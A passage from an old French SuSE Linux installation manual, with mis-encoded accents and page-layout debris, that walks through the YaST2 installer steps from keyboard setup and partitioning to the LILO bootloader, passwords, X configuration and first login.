  1980. appropriΘ, retournez α la liste de sΘlection avec |T____a|bafin de modifier votre
  1981. choix.
  1982.  
  1983.  
  1984. ProblΦmes Θventuels
  1985.  
  1986.   ~   Aucun  type  de  souris  ne  fonctionne  ou  vous  ne  souhaitez  pas  utiliser
  1987.       de  souris.  Dans  ce  cas,  activez  l'option  `Aucune'.  Vous  devrez  alors
  1988.       effectuer  tout  le  reste  de  l'installation  en  vous  servant  uniquement  du
  1989.       clavier.
  1990.  
  1991.  
  1992. 2.1.6      DΘtermination du lieu : Clavier et zone horaire
  1993.  
  1994. Quelle  disposition  de  clavier  utilisez-vous ?  Dans  quelle  zone  de  la  terre,
  1995. c'est-α-dire dans quelle zone horaire vous trouvez-vous avec votre machine ?
  1996. DΘterminez le lieu dans lequel vous vous trouvez.
  1997.  
  1998.  
  1999.   ~   Vous avez ici, en outre, la possibilitΘ de tester votre_clavier. Vous devez
  2000.       pour  cela,  par  un  clic  de  souris  ou  avec  |____T|ab,  activer  la  ligne  d'entrΘe
  2001.       et y taper des lettres. Testez tout particuliΦrement `y'/`z' ainsi que les
  2002.       caractΦres accentuΘs.
  2003.  
  2004.   ~   Comme  deuxiΦme  option,  vous  disposez  d'une  liste  de  pays  dans  une
  2005.       structure arborescente (continent/pays/rΘgion). Choisissez votre pays ou
  2006.       une rΘgion de celui-ci. YaST2  dΘcouvrira la zone horaire appropriΘe.
  2007.  
  2008.  
  2009. Le bouton `Continuer' vous amΦne α la prochaine boεte de dialogue.
  2010.  
  2011.  
  2012. 2.1.7      Nouvelle installation ou mise α jour ?
  2013.  
  2014. Avec YaST2 , vous pouvez non seulement installer une nouvelle version de
  2015. SuSE     Linux mais effectuer aussi la mise α jour (angl. update) d'une version
  2016. prΘcΘdente et conserver ainsi les configurations dΘjα faites.
  2017.  
  2018.  
  2019. `Nouvelle  installation'                      ~ SΘlectionnez cette option car dans ce para-
  2020.       graphe il est question d'une nouvelle installation de SuSE     Linux.
  2021.  
  2022. `Mise  α  jour'            ~ Cette option ne sera pas dΘcrite ici.
  2023.  
  2024.  
  2025. Dans la description qui va suivre, nous prΘsumons que vous avez sΘlectionnΘ
  2026. `Nouvelle  installation' avant de `continuer'.
  2027.  
  2028.  
  2029.                                                                                                                                    *
  2030.  *     19
  2031. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  2032.  *_______________________________________@
  2033.  
  2034.  
  2035.  
  2036.                            2.1.8      PrΘparer le disque dur
  2037.                            Au cours des phases suivantes, vous choisirez le ou les disques durs et vous
  2038.  
  2039.                            effectuerez les prΘparations nΘcessaires α l'installation de SuSE     Linux. ~ En
  2040.                            fonction des composants matΘriels de votre machine, les dialogues que vous
  2041.                            verrez apparaεtre divergeront plus ou moins de l'exemple prΘsentΘ ici.
  2042.  
  2043.  
  2044.  
  2045.                            Phase 1
  2046.  
  2047.                              ~   S'il a ΘtΘ dΘtectΘ plus d'un disque, vous devrez tout d'abord choisir celui
  2048.                                  qui doit Ωtre utilisΘ pour l'installation. Les disques dΘtectΘs sont listΘs les
  2049.                                  uns au dessous des autres. ~ Ou
  2050.  
  2051.                              ~   Vous  sΘlectionnez  la  derniΦre  option  (`Partitionnement  manuel')
  2052.                                  afin  de  pouvoir,  si  besoin,  effectuer  le  partitionnement  α  la  main.  Vous
  2053.                                  pouvez  aussi  avoir  recours  ultΘrieurement  α  cette  mΘthode  s'il  devait
  2054.                                  s'avΘrer nΘcessaire de faire de la place : : :
  2055.  
  2056.  
  2057.                            En  cas  normal,  vous  choisirez  un  disque  dur  et  vous  cliquerez  ensuite  sur
  2058.                            `Continuer'
  2059.  
  2060.  
  2061.  
  2062.                            Phase 2
  2063.  
  2064.                            L'un des deux cas suivants peut se produire :
  2065.  
  2066.  
  2067.                              ~   Si le disque n'est pas vide, YaST2  vous montrera ici toutes les partitions
  2068.                                  qui se trouvent sur celui-ci et affichera l'option `totalitΘ  du  disque
  2069.                                  dur'.
  2070.  
  2071.                                  L'espace libre, non partitionnΘ α la ``fin'' du disque dur vous est Θgalement
  2072.                                  montrΘ et il est automatiquement sΘlectionnΘ par dΘfaut. YaST2  ne peut
  2073.                                  utiliser de l'espace supplΘmentaire que de faτon cohΘrente, ce qui signifie
  2074.                                  que les partitions peuvent Ωtre rendues disponibles ``par l'arriΦre''. Dans
  2075.                                  le cas par exemple de 3 partitions, la premiΦre et la deuxiΦme demeurent
  2076.                                  inchangΘes et vous cochez la troisiΦme pour la rendre disponible.
  2077.  
  2078.                                  Si vous dΘcidez de consacrer un disque entier α SuSE     Linux, sΘlectionnez
  2079.                                  `Utiliser  la  totalitΘ  du  disque  dur'.
  2080.  
  2081.                              ~   Si le disque est vide, la totalitΘ sera utilisΘe pour SuSE     Linux.
  2082.  
  2083.  
  2084.                            Si  vous  dΘsirez  autre  chose,  revenez  au  dernier  dialogue  avec  `Retour'  ~
  2085.                            ainsi qu'il est dΘcrit α la prΘsente page ~ afin de partitionner manuellement en
  2086.                            sΘlectionnant l'option `Partitionnement  manuel'.
  2087.                            ________________________________________________________________________________________________________*
  2088.  *________|||
  2089.                            |                                                                                                       *
  2090.  *        |||
  2091.                            |  Comme les partitions sΘlectionnΘes pour SuSE     Linux doivent Ωtre forma-                           *
  2092.  *        |||
  2093.                            |  tΘes,  toutes  les  donnΘes  qu'elles  peuvent  Θventuellement  contenir  seront                     *
  2094.  *        |||
  2095.                            |                                                                                                       *
  2096.  *        |||
  2097.                            |  irrΘmΘdiablement perdues !                                                                           *
  2098.  *        |||
  2099.                            |  Attention : Si vous sΘlectionnez `Utiliser  la  totalitΘ  du  disque                                 *
  2100.  *        |||
  2101.                            |                                                                                                       *
  2102.  *        |||
  2103.                            |  dur',  toutes  les  donnΘes  se  trouvant  sur  le  disque  seront  effacΘes  et,                    *
  2104.  *        |||
  2105.                            |  par  voie  de  consΘquence,  tous  les  systΦmes  d'exploitation  (voir  para-                       *
  2106.  *        |||
  2107.                            |                                                                                                       *
  2108.  *        |||
  2109.                            |  graphe 2.10.1 page 75).                                                                              *
  2110.  *        |||
  2111.                            |_______________________________________________________________________________________________________*
  2112.  *________|||_
  2113.  
  2114.  
  2115. 20
  2116.        _____________________________________________________________________2.1.__La_voie_la_plus_rapide_vers_le_succΦs____________*
  2117.  *______________________
  2118.  
  2119.  
  2120.  
  2121. Lorsque vous sΘlectionnerez `Continuer', il sera entre autre vΘrifiΘ si l'es-
  2122. pace est suffisant pour une installation minimale, si 3 autres partitions peuvent
  2123. Ωtre installΘes et s'il est possible d'amorcer α partir du disque.
  2124.  
  2125. Si quelque chose n'est pas dans les rΦgles, vous en serez averti et vous pourrez
  2126. modifier votre choix en consΘquence.
  2127.  
  2128. Au dΘbut de l'installation proprement dite, dΦs que toutes les conditions se-
  2129. ront  remplies,  YaST2  configurera  de  lui-mΩme  l'espace  disque.  Le  disque
  2130. entier ou, selon le cas, l'espace disponible et/ou les partitions rendues dispo-
  2131. nibles seront divisΘs en 3 partitions standards pour SuSE      Linux : une petite
  2132. partition pour /boot (environ 16 Mo) si possible au dΘbut du disque, une par-
  2133. tition de swap (128 Mo) et le reste pour /. Vous trouverez des informations
  2134. d'ordre gΘnΘral sur le partitionnement au paragraphe 2.8 page 67.
  2135.  
  2136.  
  2137. ProblΦmes Θventuels
  2138.  
  2139.   ~   Il n'est pas possible de sΘlectionner une certaine partition. YaST2  ne per-
  2140.       met pas, au cours de la procΘdure standard, de choisir une partition ``au
  2141.       milieu'' du disque dur. Pour contourner ce problΦme, vous devez partition-
  2142.       ner en passant par l'option `Partitionnement  manuel'.
  2143.  
  2144. 2.1.9      SΘlection de logiciels
  2145.  
  2146. Dans les dialogues qui vont suivre, vous dΘterminerez la taille de votre in-
  2147. stallation SuSE      Linux. SΘlectionnez pour cela l'une des options affichΘes et
  2148. choisissez le cas ΘchΘant les composants supplΘmentaires que vous dΘsirez.
  2149.  
  2150.  
  2151. SΘlection de logiciels : DΘterminer l'Θquipement de base
  2152.  
  2153. Vous devez tout d'abord choisir l'Θquipement de base de votre systΦme :
  2154.  
  2155. `Minimal'          ~  Le  systΦme  `minimal'  est  un  systΦme  d'exploitation  Unix
  2156.       pleinement opΘrationnel qui fonctionne en mode texte (aussi bien le sys-
  2157.       tΦme  de  base  que  toutes  les  applications  importantes).  Il  est  ainsi  pos-
  2158.       sible,  mΩme  si  l'espace  disque  est  limitΘ,  de  tester  toutes  les  fonctions
  2159.       essentielles de SuSE     Linux. Ceci est Θgalement valable si vous avez une
  2160.       application concrΦte qui ne requiert pas de configuration supplΘmentaire
  2161.       du systΦme (espace requis, environ 150 Mo).
  2162.  
  2163. `Standard'           ~  Le  systΦme  `standard'  inclut  un  Θquipement  logiciel  de
  2164.       base bien choisi qui comporte tout ce qu'il faut pour dΘbuter, par exemple
  2165.       une interface graphique, des programmes d'impression, des logiciels per-
  2166.       mettant d'accΘder α Internet, des jeux, des Θditeurs, un lecteur de CD etc.
  2167.       (espace requis, environ 500 Mo).
  2168.  
  2169. `Presque  tout'              ~ Vous devriez installer `presque  tout' si vous savez
  2170.       que vous aurez besoin de la quasi-totalitΘ des paquetages ou si vous voulez
  2171.       connaεtre toute l'Θtendue de la gamme de logiciels SuSE      Linux. Mais il
  2172.       vous faut pour cela suffisamment de place disponible (espace requis, plus
  2173.       de 6 Go).
  2174.  
  2175. Le systΦme `standard' est tout particuliΦrement recommandΘ pour dΘbuter.
  2176. Si vous avez besoin de logiciels supplΘmentaires, vous pourrez toujours les
  2177. installer ultΘrieurement.
  2178.  
  2179.  
  2180.                                                                                                                                    *
  2181.  *     21
  2182. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  2183.  *_______________________________________@
  2184.  
  2185.  
  2186.  
  2187.                            En  partant  de  l'une  des  combinaisons  de  logiciels  mentionnΘes  (``Θquipe-
  2188.                            ment  de  base''),  vous  pouvez,  avec  le  bouton  `SΘlection  dΘtaillΘe',
  2189.                            ajouter  ou  Θliminer  certains  composants,  certaines  applications  spΘciales
  2190.                            (``paquetages'')      .
  2191.  
  2192.  
  2193.                            SΘlection dΘtaillΘe de logiciels : Modifier les dΘtails
  2194.  
  2195.                            Si vous avez choisi `SΘlection  dΘtaillΘe' dans le prΘcΘdent dialogue,
  2196.                            vous pouvez modifier ici certains dΘtails de votre ensemble de logiciels.
  2197.  
  2198.                            Dans  la  `sΘlection  dΘtaillΘe'  il  vous  est  proposΘ  des  groupes  de  pa-
  2199.                            quetages auquels vous pouvez ajouter autant de composants que vous le sou-
  2200.                            haitez. Pour les logiciels libres, vous avez en outre la possibilitΘ d'installer
  2201.                            en  mΩme  temps  les  sources.  SΘlectionnez  pour  cela  `Installation  des
  2202.                            sources  disponibles'. Il convient cependant de noter que les sources oc-
  2203.                            cupent  parfois  beaucoup  de  place  et  ne  prΘsentent  en  gΘnΘral  d'intΘrΩt  que
  2204.                            pour les programmeurs.
  2205.                            ________________________________________________________________________________________________________*
  2206.  *________||
  2207.                            |  La sΘlection de logiciels peut Ωtre complΘtΘe α tout moment aprΦs l'instal-                          *
  2208.  *        ||||
  2209.                            |                                                                                                       *
  2210.  *        |||
  2211.                            |  lation. Il suffit d'invoquer YaST2 ou le YaST traditionnel pour installer des                        *
  2212.  *        |||
  2213.                            |  logiciels α l'aide de la sΘlection des paquetages (voir chapitre 3 page 81). Si                      *
  2214.  *        |||
  2215.                            |                                                                                                       *
  2216.  *        |||
  2217.                            |  vous voulez obtenir dΦs maintenant un rΘsultat rapide, il serait prΘfΘrable,                         *
  2218.  *        |||
  2219.                            |  au cours de la premiΦre installation, de ne pas trop vous enfoncer dans la                           *
  2220.  *        |||
  2221.                            |                                                                                                       *
  2222.  *        |||
  2223.                            |  jungle des applications ;-)                                                                          *
  2224.  *        |||
  2225.                            |_______________________________________________________________________________________________________*
  2226.  *________|||_
  2227.  
  2228.                            L'option  `Logiciels  commerciaux'  est  Θgalement  α  votre  disposition.
  2229.                            Choisissez, dans ce dialogue, les paquetages logiciels que vous dΘsirez.
  2230.  
  2231.                            Avec  `SΘlection  de  paquetages  dΘterminΘs',  vous  accΘder,  de  ma-
  2232.                            niΦre sΘlective, α chacune des applications ou α chacun des paquetages logi-
  2233.                            ciels. Si vous sΘlectionnez ou dΘsΘlectionnez ici des paquetages, YaST2  vΘ-
  2234.                            rifiera constamment les dΘpendances entre les diffΘrents paquetages et vous
  2235.                            proposera,  le  cas  ΘchΘant,  d'installer  des  paquetages  supplΘmentaires  pour
  2236.                            satisfaire ces dΘpendances. Pour un bon fonctionnement des logiciels, il est
  2237.                            essentiel qu'il n'existe pas de dΘpendances qui ne soient pas rΘsolues.
  2238.  
  2239.  
  2240.                            ProblΦmes Θventuels
  2241.  
  2242.                              ~   YaST2  va vΘrifier si l'espace disponible est suffisant pour votre sΘlection
  2243.                                  de logiciels.
  2244.  
  2245.                                  Si ce n'est pas le cas, vous devrez soit rΘduire la taille de votre installa-
  2246.                                  tion, soit mettre des partitions supplΘmentaires α la disposition de SuSE
  2247.                                  Linux. Si vous dΘsirez utiliser des partitions supplΘmentaires, allez, avec
  2248.                                  `Retour'  dans  le  masque  `Choisissez  un  disque  dur'.  Voir  cha-
  2249.                                  pitre 2.1.8 page 20.
  2250.  
  2251.                              ~   Si vous revenez ici α partir d'un des dialogues suivants avec `Retour' et
  2252.                                  si vous faites une nouvelle sΘlection de composants, la sΘlection indivi-
  2253.                                  duelle de paquetages sera annulΘe. Soyez donc prudent car vous risquez
  2254.                                  d'avoir fait pour rien certains travaux minutieux qui peuvent Θventuelle-
  2255.                                  ment avoir pris beaucoup de temps.
  2256.  
  2257.  
  2258. 22
  2259.        _____________________________________________________________________2.1.__La_voie_la_plus_rapide_vers_le_succΦs____________*
  2260.  *______________________
  2261.  
  2262.  
  2263.  
  2264. 2.1.10       LILO ~ Gestionnaire d'amorτage pour le dΘmarrage du systΦme
  2265. Pour que Linux puisse finalement dΘmarrer, il est nΘcessaire de prΘparer un
  2266.  
  2267. mΘcanisme d'amorτage. Vous devez dΘterminer α quel emplacement du sys-
  2268. tΦme le gestionnaire d'amorτage LILO  (angl. LInux LOader) devra Ωtre ins-
  2269. tallΘ  ou,  le  cas  ΘchΘant,  spΘcifier  qu'un  autre  concept  d'amorτage  doit  Ωtre
  2270. adoptΘ (vous trouverez des informations α ce sujet au paragraphe 2.3 page 44
  2271. et au chapitre 4 page 117).
  2272.  
  2273.   ~   Si YaST2  ne dΘtecte sur votre machine aucun autre systΦme d'exploita-
  2274.       tion que SuSE      Linux et  si cette constatation correspond α la rΘalitΘ, les
  2275.       choses sont alors trΦs simples et vous pouvez cliquer sur `Continuer'.
  2276.  
  2277.   ~   Il en est autrement si YaST2  dΘtecte un autre systΘme d'exploitation (par
  2278.       exemple Windows) ou si le partitionnement de votre disque dur ne permet
  2279.       pas l'amorτage (limite des 1024 cylindres). Ou encore si le matΘriel de
  2280.       votre  PC  (systΦme  mixte  composΘ  de  disques  durs  SCSI  et  (E)IDE)  ne
  2281.       permet  pas  de  reconnaεtre  avec  certitude  s'il  est  possible  d'amorcer  le
  2282.       systΦme. Pour de tels cas, il existe une mΘthode s√re qui consiste α faire
  2283.       crΘer une disquette d'amorτage.
  2284.  
  2285. Mais  si  YaST2  ne  parvient  pas  α  faire  un  diagnostic  exact  de  la  situation
  2286. ou si vous avez vous-mΩme une autre idΘe sur la maniΦre de dΘmarrer votre
  2287. systΦme, sΘlectionnez `Autre  configuration' afin de configurer manuel-
  2288. lement le dΘmarrage du systΦme. ~ Nous allons bient⌠t vous en dire plus.
  2289.  
  2290.  
  2291. LILO  : Autre configuration de dΘmarrage
  2292.  
  2293. YaST2  vous donne le choix entre 4 possibilitΘs :
  2294.  
  2295. `Sur  C  :  le  secteur  maεtre  d'amorτage  (MBR)  du  premier  disque  dur'
  2296.       ~ Si SuSE     Linux est le seul systΦme d'exploitation que vous voulez ins-
  2297.       taller, la place de LILO  est sans aucun doute sur le +  MBR (angl. Master
  2298.       Boot Record).
  2299.  
  2300.       LILO  installΘ sur le MBR peut aussi servir de gestionnaire d'amorτage
  2301.       pour plusieurs systΦmes d'exploitation. Ne choisissez toutefois cette op-
  2302.       tion  que  si  vous  Ωtes  s√r  que  vos  systΦmes  d'exploitation  dΘjα  instal-
  2303.       lΘs  peuvent  Ωtre  amorcΘs  par  LILO  ~  en  gΘnΘral,  c'est  le  cas  de  Win-
  2304.       dows95/98,  voir  α  ce  sujet  le  paragraphe  4.7.1  page  134.  Si  vous  avez
  2305.       des  doutes,  donnez  la  prΘfΘrence  α  l'option  `CrΘer  une  disquette
  2306.       d'amorτage'.
  2307.  
  2308. `CrΘer  une  disquette  d'amorτage'                            ~ Si vous prΘvoyez de faire tour-
  2309.       ner plusieurs systΦmes d'exploitation sur votre machine, vous avez la pos-
  2310.       sibilitΘ  de  crΘer  une  disquette  d'amorτage  pour  SuSE     Linux.  Ceci  prΘ-
  2311.       sente l'avantage de ne pas affecter un mΘcanisme d'amorτage dΘjα exis-
  2312.       tant. Vous pouvez en outre lancer α tout moment SuSE     Linux α partir de
  2313.       cette  disquette.  Si  vous  voulez  mettre  toutes  les  chances  de  votre  c⌠tΘ,
  2314.       choisissez cette option.
  2315.  
  2316.       Remarque  :  Il  est  encore  possible  de  configurer  plus  tard,  α  l'aide  de
  2317.       YaST ,  une  mΘthode  d'amorτage  avec  LILO  sur  le  MBR  (voir  para-
  2318.       graphe 3.6.2 page 103, `Configurer  LILO ').
  2319.  
  2320.  
  2321.                                                                                                                                    *
  2322.  *     23
  2323. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  2324.  *_______________________________________@
  2325.  
  2326.  
  2327.  
  2328.                            `Ne  pas  installer  LILO  (autre  gestionnaire  d'amorτage)'                                           *
  2329.  *   ~
  2330.                                  Cette option vous permet de continuer α utiliser votre propre gestionnaire
  2331.                                  d'amorτage.  Il  ne  sera  apportΘ  aucune  modification  au  secteur  maεtre
  2332.                                  d'amorτage (angl. Master Boot Record = MBR). LILO  sera installΘ sur
  2333.                                  la partition /boot. Vous devrez cependant dans ce cas reconfigurer vous-
  2334.                                  mΩme  votre  gestionnaire  d'amorτage.  Il  est  dΘcrit  au  paragraphe  4.7.2
  2335.                                  page 135 comment procΘder pour Windows NT et Linux.
  2336.  
  2337.                            `Sur  une  autre  partition'                      ~ Choisissez cette option si vous voulez ou
  2338.                                  devez spΘcifier une autre partition. Voir le point prΘcΘdent.
  2339.  
  2340.  
  2341.                            Dans  le  champ  `paramΦtres  d'amorτage',  vous  inscrirez  si  besoin  les
  2342.                            ``paramΦtres du noyau''. Ces entrΘes serviront α construire la ligne append      .
  2343.                            Voir par exemple la page 129 et la page 370.
  2344.  
  2345.                            L'option  linear      est  rarement  nΘcessaire.  Cette  option  est  utile  si  les  rΘfΘ-
  2346.                            rences aux secteurs de disques doivent Ωtre enregistrΘes en tant qu'adresses
  2347.                            logiques et non pas en tant qu'adresses physiques. Voir la page 128.
  2348.  
  2349.  
  2350.  
  2351.                            2.1.11       Informations sur l'utilisateur
  2352.  
  2353.                            Sous SuSE     Linux, il est possible α plusieurs utilisateurs de travailler simulta-
  2354.                            nΘment mais chacun d'entre eux doit tout d'abord se connecter au systΦme.
  2355.                            Cette procΘdure est connue sous le nom de ``login''. Les spΘcifications α faire
  2356.                            dans cette fenΩtre servent α crΘer votre ``compte utilisateur'' (prΘnom, nom de
  2357.                            famille, nom d'utilisateur, mot de passe).
  2358.  
  2359.                            Il vous est demandΘ d'entrer votre prΘnom et votre nom. Il sera en outre dΘ-
  2360.                            terminΘ un ``nom d'utilisateur'' et un mot de passe avec lesquels vous pourrez
  2361.                            vous connecter au systΦme SuSE     Linux.
  2362.  
  2363.                            Le bouton `Suggestion' vous donne la possibilitΘ de faire crΘer automati-
  2364.                            quement votre ``nom d'utilisateur'' α partir de votre prΘnom et de votre nom.
  2365.                            La suggestion qui vous est faite peut Ωtre modifiΘe et vous pouvez aussi taper
  2366.                            vous-mΩme le nom que vous souhaitez.
  2367.  
  2368.                            Vous  devez  ensuite  entrer  un  mot  de  passe  et  le  rΘpΘter  pour  vΘrification.
  2369.                            Tenez compte de la casse des lettres et diffΘrenciez les majuscules des mi-
  2370.                            nuscules.  Le  mot  de  passe  doit  en  outre  comporter  au  moins  5  caractΦres
  2371.                            sans  aucun  accent.  Les  caractΦres  suivants  sont  admis  en  plus  des  lettres
  2372.                            #,. ;  :._-+ !$%&/| ?              {[()]} ainsi que les espaces et les chiffres de 0  α 9 .
  2373.  
  2374.                            Retenez bien votre ``nom d'utilisateur'' et votre mot de passe. Ils vous seront
  2375.                            toujours nΘcessaires lorsque vous voudrez travailler avec SuSE     Linux.
  2376.  
  2377.                            Avec `Continuer', vous arrivez dans une fenΩtre prΘvue pour l'entrΘe du
  2378.                            mot de passe `root'.
  2379.  
  2380.  
  2381.  
  2382.                            2.1.12       DΘterminer le mot de passe `root'
  2383.  
  2384.                            L'utilisateur  `root'  a  sous  Linux  des  privilΦges  particuliers.  Il  peut  par
  2385.                            exemple  dΘmarrer/arrΩter  des  processus  systΦme,  crΘer  ou  supprimer  des
  2386.                            comptes  utilisateurs,  manipuler  des  fichiers  systΦme  importants  etc.  En
  2387.                            d'autres termes, il peut exΘcuter les tΓches d'un +  administrateur systΦme.
  2388.  
  2389.  
  2390. 24
  2391.        _____________________________________________________________________2.1.__La_voie_la_plus_rapide_vers_le_succΦs____________*
  2392.  *______________________
  2393.  
  2394.  
  2395.  
  2396. Il  vous  est  demandΘ  ici  d'attribuer  un  mot  de  passe  α  l'utilisateur  `root'.
  2397. Appliquez les mΩmes rΦgles que pour le mot de passe de l'utilisateur normal.
  2398.        _______________________________________________________________________________________________________________________
  2399.        ||||||||  Il est indispensable de bien noter le mot de passe `root' qui plus tard ne                     |||            |
  2400.        ||||||||                                                                                                 ||             |
  2401.        ||||||||  sera plus affichΘ. Ce mot de passe vous sera nΘcessaire lorsque vous aurez                     ||             |
  2402.        ||||||||  des tΓches d'administration α exΘcuter.                                                        ||             |
  2403.        ||||||||_______________________________________________________________________________________________________________||_
  2404.  
  2405. Si vous dΘcidez maintenant de `continuer', les choses deviennent sΘrieuses
  2406. et l'installation proprement dite dΘmarre pour de bon.
  2407.  
  2408.  
  2409. 2.1.13       Confirmer les configurations ~ dΘmarrer l'installation
  2410.  
  2411. Pour  vous  donner  une  possibilitΘ  de  contr⌠le,  toutes  les  donnΘes  collectΘes
  2412. jusqu'α prΘsent vont Ωtre affichΘes. Si vous souhaitez faire des modifications,
  2413. vous pouvez, avec `Retour', revenir pas α pas en arriΦre jusqu'au premier
  2414. masque d'entrΘe.
  2415.  
  2416. Si tout a ΘtΘ fait comme il convient et si vous dΘcidez de `continuer', il
  2417. vous sera demandΘ, par mesure de sΘcuritΘ (question en vert), si vous dΘsirez
  2418. vraiment dΘmarrer l'installation avec les paramΦtres affichΘs :
  2419.  
  2420.  
  2421.   ~   Lorsque  vous  aurez  confirmΘ  avec  `Oui,  installer',  YaST2  com-
  2422.       mencera α installer votre systΦme.
  2423.  
  2424.   ~   Avec `Non', vous avez la possibilitΘ de vΘrifier encore une fois vos don-
  2425.       nΘes  et  de  les  modifier  le  cas  ΘchΘant  en  revenant  avec  `Retour'  au
  2426.       masque correspondant.
  2427.  
  2428.  
  2429. Si  vous  avez  changΘ  d'idΘe  et  si  vous  jugez  prΘfΘrable  de  remettre  α  plus
  2430. tard  l'installation  de  SuSE     Linux,  vous  avez  maintenant  la  possibilitΘ  d'ar-
  2431. rΩter complΦtement le processus d'installation. Toutes vos configurations et
  2432. spΘcifications seront alors perdues. Si vous sΘlectionnez `Annuler  l'ins-
  2433. tallation', votre machine sera arrΩtΘe aprΦs qu'il vous aura ΘtΘ demandΘ de
  2434. confirmer encore une fois votre dΘcision. Vous pourrez alors sans problΦme
  2435. l'Θteindre  ou  la  rΘamorcer.  Jusqu'α  cet  instant  aucune  modification  n'a  ΘtΘ
  2436. effectuΘe sur votre machine.
  2437.  
  2438. Une spΘcialitΘ pour ``experts'' vous est proposΘe avec `Sauvegarde  de  la
  2439. configuration  sur  disquette'. Toutes les spΘcifications que vous avez
  2440. faites seront enregistrΘes sur une disquette et vous pourrez ainsi les utiliser
  2441. pour d'autres installations.
  2442.  
  2443. Vous vous Ωtes dΘcidΘ pour l'option `Oui,  installer' et pouvez mainte-
  2444. nant voir YaST2  au travail. Il va crΘer et formater des partitions. Ceci peut
  2445. prendre un certain temps dont la durΘe dΘpend de l'Θquipement de votre sys-
  2446. tΦme et de la taille de votre disque dur. ╔vitez toute interruption car le disque
  2447. dur se trouverait alors dans un Θtat indΘfini.
  2448.  
  2449. Ensuite,  les  paquetages  du  CD  1  vont  Ωtre  lus  et  le  systΦme  de  base  SuSE
  2450. Linux va Ωtre installΘ. Lorsque vous aurez validΘ avec `Continuer', ce sys-
  2451. tΦme de base en mode texte sera dΘmarrΘ. YaST2  poursuit l'installation des
  2452. logiciels et vous demande ~ si besoin ~ les prochains CD. Si vous `annulez'
  2453. l'installation au cours de cette phase, le systΦme ne sera plus utilisable !
  2454.  
  2455.  
  2456.                                                                                                                                    *
  2457.  *     25
  2458. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  2459.  *_______________________________________@
  2460.  
  2461.  
  2462.  
  2463.                            Selon les spΘcifications que vous aurez faites au paragraphe 2.1.10 page 23, il
  2464.                            vous sera Θventuellement demandΘ d'insΘrer une disquette formatΘe pour faire
  2465.                            crΘer  une  disquette  d'amorτage.  N'utilisez  pour  cela  aucune  des  disquettes
  2466.                            fournies ! Si LILO est installΘ sur le MBR, vous recevrez un message qui vous
  2467.                            fera connaεtre la commande vous permettant de restaurer le MBR d'origine.
  2468.                            Notez bien cette commande.
  2469.  
  2470.                            SuSE     Linux est maintenant installΘ avec succΦs sur votre machine !
  2471.  
  2472.                            Il ne manque plus que la prΘparation de l'interface graphique. Ceci est bien
  2473.                            s√r superflu si vous n'avez installΘ qu'un systΦme `minimal' ~ le systΦme
  2474.                            `minimal' Θtant explicitement conτu pour fonctionner en mode texte. Vous
  2475.                            pourrez ensuite faire votre premier essai avec SuSE     Linux.
  2476.  
  2477.  
  2478.                            2.1.14       PrΘparer l'interface graphique
  2479.  
  2480.                            Afin de pouvoir mettre α votre disposition une interface graphique dΦs votre
  2481.                            premier login, YaST2  va tenter de trouver de lui-mΩme toutes les informa-
  2482.                            tions nΘcessaires au sujet du moniteur et de la carte graphique.
  2483.  
  2484.                            Si  cela  rΘussit,  il  sera  sΘlectionnΘ  une  rΘsolution  d'image,  un  rΘglage  des
  2485.                            couleurs, une frΘquence de rΘpΘtition pour le moniteur et l'Θcran de test sera
  2486.                            affichΘ.
  2487.                            ________________________________________________________________________________________________________*
  2488.  *________
  2489.                            |  Contr⌠lez  bien  les  paramΦtres  avant  de  donner  le  ``feu  vert'' !  En  cas  de                *
  2490.  *        ||||
  2491.                            |                                                                                                       *
  2492.  *        |||
  2493.                            |  doute, consultez la documentation qui accompagne votre carte graphique                               *
  2494.  *        |||
  2495.                            |  et votre moniteur.                                                                                   *
  2496.  *        |||
  2497.                            |_______________________________________________________________________________________________________*
  2498.  *________|||_
  2499.  
  2500.                            Si  le  moniteur  n'est  pas  reconnu,  choisissez  votre  modΦle  dans  la  liste  qui
  2501.                            vous est prΘsentΘe. Si vous possΘdez un modΦle inconnu, vous devrez entrer
  2502.                            manuellement les paramΦtres ou faire lire les donnΘes α partir d'une `dis-
  2503.                            quette  pilote' qui a Θventuellement ΘtΘ fournie avec votre moniteur. Dans
  2504.                            ce cas, il vous est conseillΘ de consulter la documentation qui accompagne
  2505.                            votre moniteur. ~ Si vous ne voulez pas d'interface graphique, sΘlectionnez,
  2506.                            dans la liste des constructeurs, la premiΦre option `Pas  de  configuration
  2507.                            X11'
  2508.  
  2509.                            On  aborde  ensuite  la  question  du  rΘglage  de  l'Θcran.  La  rΘsolution  idΘale
  2510.                            dΘpend de vos go√ts personnels et de votre matΘriel. Comme profondeur de
  2511.                            couleurs (`nombre  de  couleurs'), il est conseillΘ de choisir 16bpp     .
  2512.  
  2513.  
  2514.                            ProblΦmes Θventuels
  2515.  
  2516.                              ~   Dans quelques rares cas, il est nΘcessaire de configurer manuellement le
  2517.                                  +  serveur X. Pour cela, vous devrez lancer plus tard le programme SaX .
  2518.                                  Vous trouverez des informations sur SaX  au chapitre 8.1 page 240.
  2519.  
  2520.                            2.1.15       Configurer les composants du systΦme
  2521.  
  2522.                            Pendant la premiΦre phase de l'installation, vous avez dΘjα la possibilitΘ de
  2523.                            configurer ~ pour autant qu'ils soient prΘsents ~ certains composants de votre
  2524.                            systΦme : imprimante, son, Internet et rΘseau.
  2525.  
  2526.                            Mais s'il commence α se faire tard, vous pouvez, en toute bonne conscience,
  2527.                            remettre ce travail au lendemain !
  2528.  
  2529.  
  2530. 26
  2531.        _____________________________________________________________________2.1.__La_voie_la_plus_rapide_vers_le_succΦs____________*
  2532.  *______________________
  2533.  
  2534.  
  2535.  
  2536. 2.1.16       PremiΦre connexion
  2537. ╟a y est ~ maintenant vous pouvez vous connecter.
  2538.  
  2539. Le  login  graphique  (le  gestionnaire  d'Θcran  kdm )  apparaεt  et  affiche  les
  2540. comptes  utilisateurs  crΘΘs  (figure  9.6  page  273).  Il  ne  vous  reste  plus  qu'α
  2541. entrer votre nom d'utilisateur α l'invite login  :      ainsi que votre mot de passe
  2542. pour que KDE (``K Desktop Environment'') soit dΘmarrΘ. ~ Vous trouverez
  2543. des informations sur KDE au paragraphe 9.2 page 271 et vous disposez en
  2544. outre du systΦme d'aide kdehelp .
  2545.  
  2546. Si vous continuez α travailler en mode texte, entrez votre nom d'utilisateur α
  2547. l'invite login  :       Lorsque vous aurez entrΘ votre mot de passe, vous verrez
